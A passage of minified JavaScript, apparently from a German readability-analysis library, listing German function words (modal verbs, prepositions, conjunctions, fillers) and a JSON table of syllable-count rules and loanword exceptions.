n","koennten","könntet","koenntet","mag","magst","mögt","moegt","möge","moege","mögest","moegest","möget","moeget","mochte","mochtest","mochten","mochtet","möchte","moechte","möchtest","moechtest","möchten","moechten","möchtet","moechtet","muss","muß","musst","mußt","müsst","muesst","müßt","mueßt","müsse","muesse","müssest","muessest","müsset","muesset","musste","mußte","musstest","mußtest","mussten","mußten","musstet","mußtet","müsste","muesste","müßte","mueßte","müsstest","muesstest","müßtest","mueßtest","müssten","muessten","müßten","mueßten","müsstet","muesstet","müßtet","mueßtet","soll","sollst","sollt","solle","sollest","sollet","sollte","solltest","sollten","solltet","will","willst","wollt","wolle","wollest","wollet","wollte","wolltest","wollten","wolltet","lasse","lässt","laesst","läßt","laeßt","lasst","laßt","lassest","lasset","ließ","ließest","ließt","ließen","ließe","ließet","liess","liessest","liesst","liessen","liesse","liesset"],A=["haben","dürfen","duerfen","können","koennen","mögen","moegen","müssen","muessen","sollen","wollen","lassen"],D=["bleibe","bleibst","bleibt","bleibest","bleibet","blieb","bliebst","bliebt","blieben","bliebe","bliebest","bliebet","heiße","heißt","heißest","heißet","heisse","heisst","heissest","heisset","hieß","hießest","hießt","hießen","hieße","hießet","hiess","hiessest","hiesst","hiessen","hiesse","hiesset","giltst","gilt","geltet","gelte","geltest","galt","galtest","galtst","galten","galtet","gälte","gaelte","gölte","goelte","gältest","gaeltest","göltest","goeltest","gälten","gaelten","gölten","goelten","gältet","gaeltet","göltet","goeltet","aussehe","aussiehst","aussieht","ausseht","aussehest","aussehet","aussah","aussahst","aussahen","aussaht","aussähe","aussaehe","aussähest","aussaehest","aussähst","aussaehst","aussähet","aussaehet","aussäht","aussaeht","aussähen","aussaehen","scheine","scheinst","scheint","scheinest","scheinet","schien","schienst","schienen","schient","schiene","schienest","schienet","erscheine","erscheinst","erscheint","erscheinest","erscheinet","erschien","erschienst","erschienen","erschient","erschiene","erschienest","erschienet"],S=["bleiben","heißen","heissen","gelten","aussehen","scheinen","erscheinen"],$=["a","à","ab","abseits","abzüglich","abzueglich","als","am","an","angelegentlich","angesichts","anhand","anlässlich","anlaesslich","ans","anstatt","anstelle","auf","aufs","aufseiten","aus","ausgangs","ausschließlich","ausschliesslich","außerhalb","ausserhalb","ausweislich","bar","behufs","bei","beidseits","beiderseits","beim","betreffs","bezüglich","bezueglich","binnen","bis","contra","dank","diesseits","durch","einbezüglich","einbezueglich","eingangs","eingedenk","einschließlich","einschliesslich","entgegen","entlang","exklusive","fern","fernab","fuer","für","fuers","fürs","gegen","gegenüber","gegenueber","gelegentlich","gemäß","gemaeß","gen","getreu","gleich","halber","hinsichtlich","hinter","hinterm","hinters","im","in","inklusive","inmitten","innerhalb","innert","ins","je","jenseits","kontra","kraft","längs","laengs","längsseits","laengsseits","laut","links","mangels","minus","mit","mithilfe","mitsamt","mittels","nach","nächst","naechst","nah","namens","neben","nebst","nördlich","noerdlich","nordöstlich","nordoestlich","nordwestlich","oberhalb","ohne","östlich","oestlich","per","plus","pro","quer","rechts","rücksichtlich","ruecksichtlich","samt","seitens","seitlich","seitwärts","seitwaerts","südlich","suedlich","südöstlich","suedoestlich","südwestlich","suedwestlich","über","ueber","überm","ueberm","übern","uebern","übers","uebers","um","ums","unbeschadet","unerachtet","unfern","unter","unterhalb","unterm","untern","unters","unweit","vermittels","vermittelst","vermöge","vermoege","via","vom","von","vonseiten","vor","vorbehaltlich","wegen","wider","zeit","zu","zugunsten","zulieb","zuliebe","zum","zur","zusätzlich","zusaetzlich","zuungunsten","zuwider","zuzüglich","zuzueglich","zwecks","zwischen"],C=["und","oder","umso"],R=["auch","noch","nur"],q=["nun","so","gleichwohl"],W=["sage","sagst","sagt","sagest","saget","sagte","sagtest","sagten","sagtet","gesagt","fragst","fragt","fragest","fraget","fragte","fragtest","fragten","fragtet","gefragt","erkläre","erklärst","erklärt","erklaere","erklaerst","erklaert","erklärte","erklärtest","erklärtet","erklärten","erklaerte","erklaertest","erklaertet","erklaerten","denke","denkst","denkt","denkest","denket","dachte","dachtest","dachten","dachtet","dächte","dächtest","dächten","dächtet","daechte","daechtest","daechten","daechtet","finde","findest","findet","gefunden"],T=["sagen","erklären","erklaeren","denken","finden"],P=["sehr","recht","überaus","ueberaus","ungemein","weitaus","einigermaßen","einigermassen","ganz","schwer","tierisch","ungleich","ziemlich","übelst","uebelst","stark","volkommen","durchaus","gar"],M=["geschienen","meinst","meint","meinest","meinet","meinte","meintest","meinten","meintet","gemeint","stehe","stehst","steht","gehe","gehst","geht","gegangen","ging","gingst","gingen","gingt"],O=["tun","machen","stehen","wissen","gehen","kommen"],U=["einerlei","egal","neu","neue","neuer","neuen","neues","neuem","neuerer","neueren","neuerem","neueres","neuere","neuester","neuster","neuesten","neusten","neuestem","neustem","neuestes","neustes","neueste","neuste","alt","alter","alten","altem","altes","alte","ältere","älteren","älterer","älteres","ältester","ältesten","ältestem","ältestes","älteste","aeltere","aelteren","aelterer","aelteres","aeltester","aeltesten","aeltestem","aeltestes","aelteste","gut","guter","gutem","guten","gutes","gute","besser","besserer","besseren","besserem","besseres","bester","besten","bestem","bestes","beste","größte","grösste","groß","großer","großen","großem","großes","große","großerer","großerem","großeren","großeres","großere","großter","großten","großtem","großtes","großte","gross","grosser","grossen","grossem","grosses","grosse","grosserer","grosserem","grosseren","grosseres","grossere","grosster","grossten","grosstem","grosstes","grosste","einfacher","einfachen","einfachem","einfaches","einfache","einfacherer","einfacheren","einfacherem","einfacheres","einfachere","einfachste","einfachster","einfachsten","einfachstes","einfachstem","schnell","schneller","schnellen","schnellem","schnelles","schnelle","schnellere","schnellerer","schnelleren","schnelleres","schnellerem","schnellster","schnellste","schnellsten","schnellstem","schnellstes","weit","weiten","weitem","weites","weiterer","weiteren","weiterem","weiteres","weitere","weitester","weitesten","weitestem","weitestes","weiteste","eigen","eigener","eigenen","eigenes","eigenem","eigene","eigenerer","eignerer","eigeneren","eigneren","eigenerem","eignerem","eigeneres","eigneres","eigenere","eignere","eigenster","eigensten","eigenstem","eigenstes","eigenste","wenigster","wenigsten","wenigstem","wenigstes","wenigste","minderer","minderen","minderem","mindere","minderes","mindester","mindesten","mindestes","mindestem","mindeste","lang","langer","langen","langem","langes","längerer","längeren","längerem","längeres","längere","längster","längsten","längstem","längstes","längste","laengerer","laengeren","laengerem","laengeres","laengere","laengster","laengsten","laengstem","laengstes","laengste","tief","tiefer","tiefen","tiefem","tiefes","tiefe","tieferer","tieferen","tieferem","tieferes","tiefere","tiefster","tiefsten","tiefstem","tiefste","tiefstes","hoch","hoher","hohen","hohem","hohes","hohe","höher","höherer","höhere","höheren","höherem","höheres","hoeherer","hoehere","hoeheren","hoeherem","hoeheres","höchster","höchste","höchsten","höchstem","höchstes","hoechster","hoechste","hoechsten","hoechstem","hoechstes","regulär","regulärer","regulären","regulärem","reguläres","reguläre","regulaer","regulaerer","regulaeren","regulaerem","regulaeres","regulaere","regulärerer","reguläreren","regulärerem","reguläreres","regulärere","regulaererer","regulaereren","regulaererem","regulaereres","regulaerere","regulärster","regulärsten","regulärstem","regulärstes","regulärste","regulaerster","regulaersten","regulaerstem","regulaerstes","regulaerste","normal","normaler","normalen","normalem","normales","normale","normalerer","normaleren","normalerem","normaleres","normalere","normalster","normalsten","normalstem","normalstes","normalste","klein","kleiner","kleinen","kleinem","kleines","kleine","kleinerer","kleineres","kleineren","kleinerem","kleinere","kleinster","kleinsten","kleinstem","kleinstes","kleinste","winzig","winziger","winzigen","winzigem","winziges","winzigerer","winzigeren","winzigerem","winzigeres","winzigere","winzigster","winzigsten","winzigstem","winzigste","winzigstes","sogenannt","sogenannter","sogenannten","sogenanntem","sogenanntes","sogenannte","kurz","kurzer","kurzen","kurzem","kurzes","kurze","kürzerer","kürzeres","kürzeren","kürzerem","kürzere","kuerzerer","kuerzeres","kuerzeren","kuerzerem","kuerzere","kürzester","kürzesten","kürzestem","kürzestes","kürzeste","kuerzester","kuerzesten","kuerzestem","kuerzestes","kuerzeste","wirklicher","wirklichen","wirklichem","wirkliches","wirkliche","wirklicherer","wirklicheren","wirklicherem","wirklicheres","wirklichere","wirklichster","wirklichsten","wirklichstes","wirklichstem","wirklichste","eigentlicher","eigentlichen","eigentlichem","eigentliches","eigentliche","schön","schöner","schönen","schönem","schönes","schöne","schönerer","schöneren","schönerem","schöneres","schönere","schönster","schönsten","schönstem","schönstes","schönste","real","realer","realen","realem","reales","realerer","realeren","realerem","realeres","realere","realster","realsten","realstem","realstes","realste","derselbe","denselben","demselben","desselben","dasselbe","dieselbe","derselben","dieselben","gleicher","gleichen","gleichem","gleiches","gleiche","gleicherer","gleicheren","gleicherem","gleicheres","gleichere","gleichster","gleichsten","gleichstem","gleichstes","gleichste","bestimmter","bestimmten","bestimmtem","bestimmtes","bestimmte","bestimmtere","bestimmterer","bestimmterem","bestimmteren","bestimmteres","bestimmtester","bestimmtesten","bestimmtestem","bestimmtestes","bestimmteste","überwiegend","ueberwiegend","zumeist","meistens","meisten","meiste","meistem","meistes","großenteils","grossenteils","meistenteils","weithin","ständig","staendig","laufend","dauernd","andauernd","immerfort","irgendwo","irgendwann","ähnlicher","ähnlichen","ähnlichem","ähnliches","ähnliche","ähnlich","ähnlicherer","ähnlicheren","ähnlicherem","ähnlicheres","ähnlichere","ähnlichster","ähnlichsten","ähnlichstem","ähnlichstes","ähnlichste","schlecht","schlechter","schlechten","schlechtem","schlechtes","schlechte","schlechterer","schlechteren","schlechterem","schlechteres","schlechtere","schlechtester","schlechtesten","schlechtestem","schlechtestes","schlechteste","schlimm","schlimmer","schlimmen","schlimmem","schlimmes","schlimme","schlimmerer","schlimmeren","schlimmerem","schlimmeres","schlimmere","schlimmster","schlimmsten","schlimmstem","schlimmstes","schlimmste","toll","toller","tollen","tollem","tolles","tolle","tollerer","tolleren","tollerem","tollere","tolleres","tollster","tollsten","tollstem","tollstes","tollste","super","mögliche","möglicher","mögliches","möglichen","möglichem","möglich","moegliche","moeglicher","moegliches","moeglichen","moeglichem","moeglich","nächsten","nächster","nächstem","nächste","nächstes","naechsten","voll","voller","vollen","vollem","volle","volles","vollerer","volleren","vollerem","vollere","volleres","vollster","vollsten","vollstem","vollste","vollstes","außen","ganzer","ganzen","ganzem","ganze","ganzes","gern","gerne","oben","unten","zurück","zurueck","nicht","eher","ehere","eherem","eheren","eheres","eheste","ehestem","ehensten","ehesten"],I=["ach","aha","oh","au","bäh","baeh","igitt","huch","hurra","hoppla","nanu","oha","olala","pfui","tja","uups","wow","grr","äh","aeh","ähm","aehm","öhm","oehm","hm","mei","mhm","okay","richtig","eijeijeijei"],N=["g","el","tl","wg","be","bd","cl","dl","dag","do","gl","gr","kg","kl","cb","ccm","l","ms","mg","ml","mi","pk","pr","pp","sc","sp","st","sk","ta","tr","cm","mass"],V=["sekunde","sekunden","minute","minuten","stunde","stunden","uhr","tag","tages","tags","tage","tagen","woche","wochen","monat","monate","monates","monats","monaten","jahr","jahres","jahrs","jahre","jahren","morgens","mittags","abends","nachts","heute","gestern","morgen","vorgestern","übermorgen","uebermorgen"],L=["ding","dinge","dinges","dinger","dingern","dingen","sache","sachen","weise","weisen","wahrscheinlichkeit","zeug","zeuge","zeuges","zeugen","mal","einmal","teil","teile","teiles","teilen","prozent","prozents","prozentes","prozente","prozenten","beispiel","beispiele","beispieles","beispiels","beispielen","aspekt","aspekte","aspektes","aspekts","aspekten","idee","ideen","ahnung","ahnungen","thema","themas","themata","themen","fall","falle","falles","fälle","fällen","faelle","faellen","mensch","menschen","leute"],_=["nix","nixe","nixes","nixen","usw.","amen","ja","nein","euro"],H=(g([].concat(A,a,O,S,T)),g([].concat(d,U)),g([].concat(o,$,C,f,P,k)),g([].concat(b,j,w,m,["mir","dir","ihm","ihnen"],y,I,c,D,W,x,h,M,v,R,q,E,B,_,F,N,V,L,z,p)),g([].concat(o,c,d,f,p,y,z,w,m,k,v,E,F,B,j,h,a,x,A,D,S,$,C,R,q,W,T,b,["etwa","absolut","unbedingt","wieder","definitiv","bestimmt","immer","äußerst","aeußerst","höchst","hoechst","sofort","augenblicklich","umgehend","direkt","unmittelbar","nämlich","naemlich","natürlich","natuerlich","besonders","hauptsächlich","hauptsaechlich","jetzt","eben","heutzutage","eindeutig","wirklich","echt","wahrhaft","ehrlich","aufrichtig","wahrheitsgemäß","letztlich","einmalig","unübertrefflich","normalerweise","gewöhnlich","gewoehnlich","üblicherweise","ueblicherweise","sonst","fast","nahezu","beinahe","knapp","annähernd","annaehernd","geradezu","bald","vielleicht","wahrscheinlich","wohl","voraussichtlich","zugegeben","ursprünglich","insgesamt","tatsächlich","eigentlich","wahrhaftig","bereits","schon","oft","häufig","haeufig","regelmäßig","regelmaeßig","gleichmäßig","gleichmaeßig","einfach","lediglich","bloß","bloss","halt","wahlweise","eventuell","manchmal","teilweise","nie","niemals","nimmer","jemals","allzeit","irgendeinmal","anders","momentan","gegenwärtig","gegenwaertig","nebenbei","anderswo","woanders","anderswohin","anderorts","insbesondere","namentlich","sonderlich","ausdrücklich","ausdruecklich","vollends","kürzlich","kuerzlich","jüngst","juengst","unlängst","unlaengst","neuerdings","neulich","letztens","neuerlich","verhältnismäßig","verhaeltnismaessig","deutlich","klar","offenbar","anscheinend","genau","u.a","damals","zumindest"],P,M,O,I,U,N,L,_,V,["fr","hr","dr","prof"],["jr","jun","sen","sr"]))),G=[":","aber","als","bevor","bis","da","damit","daß","dass","denn","doch","ehe","falls","gleichwohl","indem","indes","indessen","insofern","insoweit","nachdem","nun","ob","obgleich","obschon","obwohl","obzwar","oder","seitdem","sobald","sodass","sofern","solange","sondern","sooft","soviel","soweit","sowie","trotz","und","ungeachtet","waehrend","während","weil","welche","welchem","welchen","welcher","welches","wem","wen","wenn","wenngleich","wennschon","wer","wes","wessen","wie","wiewohl","wohingegen","zumal"],Z=[["anstatt","dass"],["bald","bald"],["dadurch","dass"],["dessen ungeachtet","dass"],["entweder","oder"],["einerseits","andererseits"],["erst","wenn"],["je","desto"],["je","umso"],["umso","umso"],["mal","mal"],["nicht nur","sondern auch"],["ob","oder"],["ohne","dass"],["so","dass"],["sowohl","als auch"],["sowohl","wie auch"],["teils","teils"],["unbeschadet dessen","dass"],["weder","noch"],["wenn","auch"],["wenn","schon"],["nicht weil","sondern"]],Q=JSON.parse('{"vowels":"aeiouyäöüáéâàèîêâûôœ","deviations":{"vowels":[{"fragments":["ouil","deaux","deau$","oard","äthiop","euil","veau","eau$","ueue","lienisch","ance$","ence$","time$","once$","ziat","guette","ête","ôte$","[hp]omme$","[qdscn]ue$","aire$","ture$","êpe$","[^q]ui$","tiche$","vice$","oile$","zial","cruis","leas","coa[ct]","[^i]deal","[fw]eat","[lsx]ed$"],"countModifier":-1},{"fragments":["aau","a[äöüo]","äue","äeu","aei","aue","aeu","ael","ai[aeo]","saik","aismus","ä[aeoi]","auä","éa","e[äaoö]","ei[eo]","ee[aeiou]","eu[aäe]","eum$","eü","o[aäöü]","poet","oo[eo]","oie","oei[^l]","oeu[^f]","öa","[fgrz]ieu","mieun","tieur","ieum","i[aiuü]","[^l]iä","[^s]chien","io[bcdfhjkmpqtuvwx]","[bdhmprv]ion","[lr]ior","[^g]io[gs]","[dr]ioz","elioz","zioni","bio[lnorz]","iö[^s]","ie[ei]","rier$","öi[eg]","[^r]öisch","[^gqv]u[aeéioöuü]","quie$","quie[^s]","uäu","^us-","^it-","üe","naiv","aisch$","aische$","aische[nrs]$","[lst]ien","dien$","gois","[^g]rient","[aeiou]y[aeiou]","byi","yä","[a-z]y[ao]","yau","koor","scient","eriel","[dg]oing"],"countModifier":1},{"fragments":["eauü","ioi","ioo","ioa","iii","oai","eueu"],"countModifier":1}],"words":{"full":[{"word":"beach","syllables":1},{"word":"beat","syllables":1},{"word":"beau","syllables":1},{"word":"beaune","syllables":1},{"word":"belle","syllables":1},{"word":"bouche","syllables":1},{"word":"brake","syllables":1},{"word":"cache","syllables":1},{"word":"chaiselongue","syllables":2},{"word":"choke","syllables":1},{"word":"cordiale","syllables":3},{"word":"core","syllables":1},{"word":"dope","syllables":1},{"word":"eat","syllables":1},{"word":"eye","syllables":1},{"word":"fake","syllables":1},{"word":"fame","syllables":1},{"word":"fatigue","syllables":2},{"word":"femme","syllables":1},{"word":"force","syllables":1},{"word":"game","syllables":1},{"word":"games","syllables":1},{"word":"gate","syllables":1},{"word":"grande","syllables":1},{"word":"ice","syllables":1},{"word":"ion","syllables":2},{"word":"joke","syllables":1},{"word":"jupe","syllables":1},{"word":"maisch","syllables":1},{"word":"maische","syllables":2},{"word":"move","syllables":1},{"word":"native","syllables":2},{"word":"nice","syllables":1},{"word":"one","syllables":1},{"word":"pipe","syllables":1},{"word":"prime","syllables":1},{"word":"rate","syllables":1},{"word":"rhythm","syllables":2},{"word":"ride","syllables":1},{"word":"rides","syllables":1},{"word":"rien","syllables":2},{"word":"save","syllables":1},{"word":"science","syllables":2},{"word":"siècle","syllables":1},{"word":"site","syllables":1},{"word":"suite","syllables":1},{"word":"take","syllables":1},{"word":"taupe","syllables":1},{"word":"universe","syllables":3},{"word":"vogue","syllables":1},{"word":"wave","syllables":1},{"word":"zion","syllables":2}],"fragments":{"global":[{"word":"abreaktion","syllables":4},{"word":"adware","syllables":2},{"word":"affaire","syllables":3},{"word":"aiguière","syllables":2},{"word":"anisette","syllables":3},{"word":"appeal","syllables":2},{"word":"backstage","syllables":2},{"word":"bankrate","syllables":2},{"word":"baseball","syllables":2},{"word":"basejump","syllables":2},{"word":"beachcomber","syllables":3},{"word":"beachvolleyball","syllables":4},{"word":"beagle","syllables":2},{"word":"beamer","syllables":2},{"word":"beamer","syllables":2},{"word":"béarnaise","syllables":3},{"word":"beaufort","syllables":2},{"word":"beaujolais","syllables":3},{"word":"beauté","syllables":2},{"word":"beauty","syllables":2},{"word":"belgier","syllables":3},{"word":"bestien","syllables":2},{"word":"biskuit","syllables":2},{"word":"bleach","syllables":1},{"word":"blue","syllables":1},{"word":"board","syllables":1},{"word":"boat","syllables":1},{"word":"bodysuit","syllables":3},{"word":"bordelaise","syllables":3},{"word":"break","syllables":1},{"word":"build","syllables":1},{"word":"bureau","syllables":2},{"word":"business","syllables":2},{"word":"cabrio","syllables":3},{"word":"cabriolet","syllables":4},{"word":"cachesexe","syllables":2},{"word":"camaieu","syllables":3},{"word":"canyon","syllables":2},{"word":"case","syllables":1},{"word":"catsuit","syllables":2},{"word":"centime","syllables":3},{"word":"chaise","syllables":2},{"word":"champion","syllables":2},{"word":"championat","syllables":3},{"word":"chapiteau","syllables":3},{"word":"chateau","syllables":2},{"word":"château","syllables":2},{"word":"cheat","syllables":1},{"word":"cheese","syllables":1},{"word":"chihuahua","syllables":3},{"word":"choice","syllables":1},{"word":"circonflexe","syllables":3},{"word":"clean","syllables":1},{"word":"cloche","syllables":1},{"word":"close","syllables":1},{"word":"clothes","syllables":1},{"word":"commerce","syllables":2},{"word":"crime","syllables":1},{"word":"crossrate","syllables":2},{"word":"cuisine","syllables":2},{"word":"culotte","syllables":2},{"word":"death","syllables":1},{"word":"defense","syllables":2},{"word":"détente","syllables":2},{"word":"dread","syllables":1},{"word":"dream","syllables":1},{"word":"dresscode","syllables":2},{"word":"dungeon","syllables":2},{"word":"easy","syllables":2},{"word":"engagement","syllables":3},{"word":"entente","syllables":2},{"word":"eye-catcher","syllables":3},{"word":"eyecatcher","syllables":3},{"word":"eyeliner","syllables":3},{"word":"eyeword","syllables":2},{"word":"fashion","syllables":2},{"word":"feature","syllables":2},{"word":"ferien","syllables":3},{"word":"fineliner","syllables":3},{"word":"fisheye","syllables":2},{"word":"flake","syllables":1},{"word":"flambeau","syllables":2},{"word":"flatrate","syllables":2},{"word":"fleece","syllables":1},{"word":"fraîche","syllables":1},{"word":"freak","syllables":1},{"word":"frites","syllables":1},{"word":"future","syllables":2},{"word":"gaelic","syllables":2},{"word":"game-show","syllables":2},{"word":"gameboy","syllables":2},{"word":"gamepad","syllables":2},{"word":"gameplay","syllables":2},{"word":"gameport","syllables":2},{"word":"gameshow","syllables":2},{"word":"garigue","syllables":2},{"word":"garrigue","syllables":2},{"word":"gatefold","syllables":2},{"word":"gateway","syllables":2},{"word":"geflashed","syllables":2},{"word":"georgier","syllables":4},{"word":"goal","syllables":1},{"word":"grapefruit","syllables":2},{"word":"great","syllables":1},{"word":"groupware","syllables":2},{"word":"gueule","syllables":1},{"word":"guide","syllables":1},{"word":"guilloche","syllables":2},{"word":"gynäzeen","syllables":4},{"word":"gynözeen","syllables":4},{"word":"haircare","syllables":2},{"word":"hardcore","syllables":2},{"word":"hardware","syllables":2},{"word":"head","syllables":1},{"word":"hearing","syllables":2},{"word":"heart","syllables":1},{"word":"heavy","syllables":2},{"word":"hedge","syllables":1},{"word":"heroin","syllables":3},{"word":"inclusive","syllables":3},{"word":"initiative","syllables":4},{"word":"inside","syllables":2},{"word":"jaguar","syllables":3},{"word":"jalousette","syllables":3},{"word":"jeans","syllables":1},{"word":"jeunesse","syllables":2},{"word":"juice","syllables":1},{"word":"jukebox","syllables":2},{"word":"jumpsuit","syllables":2},{"word":"kanarien","syllables":4},{"word":"kapriole","syllables":4},{"word":"karosserielinie","syllables":6},{"word":"konopeen","syllables":4},{"word":"lacrosse","syllables":2},{"word":"laplace","syllables":2},{"word":"late-","syllables":1},{"word":"lead","syllables":1},{"word":"league","syllables":1},{"word":"learn","syllables":1},{"word":"légière","syllables":2},{"word":"lizenziat","syllables":4},{"word":"load","syllables":1},{"word":"lotterielos","syllables":4},{"word":"lounge","syllables":1},{"word":"lyzeen","syllables":3},{"word":"madame","syllables":2},{"word":"mademoiselle","syllables":3},{"word":"magier","syllables":3},{"word":"make-up","syllables":2},{"word":"malware","syllables":2},{"word":"management","syllables":3},{"word":"manteau","syllables":2},{"word":"mausoleen","syllables":4},{"word":"mauve","syllables":1},{"word":"medien","syllables":3},{"word":"mesdames","syllables":2},{"word":"mesopotamien","syllables":6},{"word":"milliarde","syllables":3},{"word":"missile","syllables":2},{"word":"miszellaneen","syllables":5},{"word":"mousse","syllables":1},{"word":"mousseline","syllables":3},{"word":"museen","syllables":3},{"word":"musette","syllables":2},{"word":"nahuatl","syllables":2},{"word":"noisette","syllables":2},{"word":"notebook","syllables":2},{"word":"nuance","syllables":3},{"word":"nuklease","syllables":4},{"word":"odeen","syllables":3},{"word":"offline","syllables":2},{"word":"offside","syllables":2},{"word":"oleaster","syllables":4},{"word":"on-stage","syllables":2},{"word":"online","syllables":2},{"word":"orpheen","syllables":3},{"word":"parforceritt","syllables":3},{"word":"patiens","syllables":2},{"word":"patient","syllables":2},{"word":"peace","syllables":1},{"word":"peace","syllables":1},{"word":"peanuts","syllables":2},{"word":"people","syllables":2},{"word":"perineen","syllables":4},{"word":"peritoneen","syllables":5},{"word":"picture","syllables":2},{"word":"piece","syllables":1},{"word":"pipeline","syllables":2},{"word":"plateau","syllables":2},{"word":"poesie","syllables":3},{"word":"poleposition","syllables":4},{"word":"portemanteau","syllables":3},{"word":"portemonnaie","syllables":3},{"word":"primerate","syllables":2},{"word":"primerate","syllables":2},{"word":"primetime","syllables":2},{"word":"protease","syllables":4},{"word":"protein","syllables":3},{"word":"prytaneen","syllables":4},{"word":"quotient","syllables":2},{"word":"radio","syllables":3},{"word":"reader","syllables":2},{"word":"ready","syllables":2},{"word":"reallife","syllables":2},{"word":"repeat","syllables":2},{"word":"retake","syllables":2},{"word":"rigole","syllables":2},{"word":"risolle","syllables":2},{"word":"road","syllables":1},{"word":"roaming","syllables":2},{"word":"roquefort","syllables":2},{"word":"safe","syllables":1},{"word":"savonette","syllables":3},{"word":"sciencefiction","syllables":3},{"word":"search","syllables":1},{"word":"selfmade","syllables":2},{"word":"septime","syllables":3},{"word":"serapeen","syllables":4},{"word":"service","syllables":2},{"word":"serviette","syllables":2},{"word":"share","syllables":1},{"word":"shave","syllables":1},{"word":"shore","syllables":1},{"word":"sidebar","syllables":2},{"word":"sideboard","syllables":2},{"word":"sidekick","syllables":2},{"word":"silhouette","syllables":3},{"word":"sitemap","syllables":2},{"word":"slide","syllables":1},{"word":"sneak","syllables":1},{"word":"soap","syllables":1},{"word":"softcore","syllables":2},{"word":"software","syllables":2},{"word":"soutanelle","syllables":3},{"word":"speak","syllables":1},{"word":"special","syllables":2},{"word":"spracheinstellung","syllables":5},{"word":"spyware","syllables":2},{"word":"square","syllables":1},{"word":"stagediving","syllables":3},{"word":"stakeholder","syllables":3},{"word":"statement","syllables":2},{"word":"steady","syllables":2},{"word":"steak","syllables":1},{"word":"stealth","syllables":1},{"word":"steam","syllables":1},{"word":"stoned","syllables":1},{"word":"stracciatella","syllables":4},{"word":"stream","syllables":1},{"word":"stride","syllables":1},{"word":"strike","syllables":1},{"word":"suitcase","syllables":2},{"word":"sweepstake","syllables":2},{"word":"t-bone","syllables":2},{"word":"t-shirt","syllables":1},{"word":"tailgate","syllables":2},{"word":"take-off","syllables":2},{"word":"take-over","syllables":3},{"word":"takeaway","syllables":3},{"word":"takeoff","syllables":2},{"word":"takeover","syllables":3},{"word":"throat","syllables":1},{"word":"time-out","syllables":2},{"word":"timelag","syllables":2},{"word":"timeline","syllables":2},{"word":"timesharing","syllables":3},{"word":"toast","syllables":1},{"word":"traubenmaische","syllables":4},{"word":"tristesse","syllables":2},{"word":"usenet","syllables":2},{"word":"varietät","syllables":4},{"word":"varieté","syllables":4},{"word":"vinaigrette","syllables":3},{"word":"vintage","syllables":2},{"word":"violett","syllables":3},{"word":"voice","syllables":1},{"word":"wakeboard","syllables":2},{"word":"washed","syllables":1},{"word":"waveboard","syllables":2},{"word":"wear","syllables":1},{"word":"wear","syllables":1},{"word":"website","syllables":2},{"word":"white","syllables":1},{"word":"widescreen","syllables":2},{"word":"wire","syllables":1},{"word":"yacht","syllables":1},{"word":"yorkshire","syllables":2},{"word":"éprouvette","syllables":3,"notFollowedBy":["n"]},{"word":"galette","syllables":2,"notFollowedBy":["n"]},{"word":"gigue","syllables":1,"notFollowedBy":["n"]},{"word":"groove","syllables":1,"notFollowedBy":["n"]},{"word":"morgue","syllables":1,"notFollowedBy":["n"]},{"word":"paillette","syllables":2,"notFollowedBy":["n"]},{"word":"raclette","syllables":2,"notFollowedBy":["n"]},{"word":"roulette","syllables":2,"notFollowedBy":["n"]},{"word":"spike","syllables":1,"notFollowedBy":["n"]},{"word":"style","syllables":1,"notFollowedBy":["n"]},{"word":"tablette","syllables":2,"notFollowedBy":["n"]},{"word":"grunge","syllables":1,"notFollowedBy":["r"]},{"word":"size","syllables":1,"notFollowedBy":["r"]},{"word":"value","syllables":1,"notFollowedBy":["r"]},{"word":"quiche","syllables":1,"notFollowedBy":["s"]},{"word":"house","syllables":1,"notFollowedBy":["n","s"]},{"word":"sauce","syllables":1,"notFollowedBy":["n","s"]},{"word":"space","syllables":1,"notFollowedBy":["n","s"]},{"word":"airline","syllables":2,"notFollowedBy":["n","r"]},{"word":"autosave","syllables":3,"notFollowedBy":["n","r"]},{"word":"bagpipe","syllables":2,"notFollowedBy":["n","r"]},{"word":"bike","syllables":1,"notFollowedBy":["n","r"]},{"word":"dance","syllables":1,"notFollowedBy":["n","r"]},{"word":"deadline","syllables":2,"notFollowedBy":["n","r"]},{"word":"halfpipe","syllables":2,"notFollowedBy":["n","r"]},{"word":"headline","syllables":2,"notFollowedBy":["n","r"]},{"word":"home","syllables":1,"notFollowedBy":["n","r"]},{"word":"hornpipe","syllables":2,"notFollowedBy":["n","r"]},{"word":"hotline","syllables":2,"notFollowedBy":["n","r"]},{"word":"infoline","syllables":3,"notFollowedBy":["n","r"]},{"word":"inline","syllables":2,"notFollowedBy":["n","r"]},{"word":"kite","syllables":1,"notFollowedBy":["n","r"]},{"word":"rollerblade","syllables":1,"notFollowedBy":["n","r"]},{"word":"score","syllables":1,"notFollowedBy":["n","r"]},{"word":"skyline","syllables":2,"notFollowedBy":["n","r"]},{"word":"slackline","syllables":2,"notFollowedBy":["n","r"]},{"word":"slice","syllables":1,"notFollowedBy":["n","r","s"]},{"word":"snooze","syllables":1,"notFollowedBy":["n","r"]},{"word":"storyline","syllables":3,"notFollowedBy":["n","r"]},{"word":"office","syllables":2,"notFollowedBy":["s","r"]},{"word":"space","syllables":1,"notFollowedBy":["n","s","r"]},{"word":"tease","syllables":1,"notFollowedBy":["n","s","r"]},{"word":"cache","syllables":1,"notFollowedBy":["t"]}],"atBeginningOrEnd":[{"word":"case","syllables":1},{"word":"life","syllables":1},{"word":"teak","syllables":1},{"word":"team","syllables":1},{"word":"creme","syllables":1,"notFollowedBy":["n","r"]},{"word":"crème","syllables":1,"notFollowedBy":["n","r"]},{"word":"drive","syllables":1,"notFollowedBy":["n","r"]},{"word":"skate","syllables":1,"notFollowedBy":["n","r"]},{"word":"update","syllables":2,"notFollowedBy":["n","r"]},{"word":"upgrade","syllables":2,"notFollowedBy":["n","r"]}],"atBeginning":[{"word":"anion","syllables":3},{"word":"facelift","syllables":2},{"word":"jiu","syllables":1},{"word":"pace","syllables":1},{"word":"shake","syllables":1},{"word":"tea","syllables":1},{"word":"trade","syllables":1},{"word":"deal","syllables":1}],"atEnd":[{"word":"face","syllables":1},{"word":"file","syllables":1},{"word":"mousse","syllables":1},{"word":"plate","syllables":1},{"word":"tape","syllables":1},{"word":"byte","syllables":1,"alsoFollowedBy":["s"]},{"word":"cape","syllables":1,"alsoFollowedBy":["s"]},{"word":"five","syllables":1,"alsoFollowedBy":["s"]},{"word":"hype","syllables":1,"alsoFollowedBy":["s"]},{"word":"leak","syllables":1,"alsoFollowedBy":["s"]},{"word":"like","syllables":1,"alsoFollowedBy":["s"]},{"word":"make","syllables":1,"alsoFollowedBy":["s"]},{"word":"phone","syllables":1,"alsoFollowedBy":["s"]},{"word":"rave","syllables":1,"alsoFollow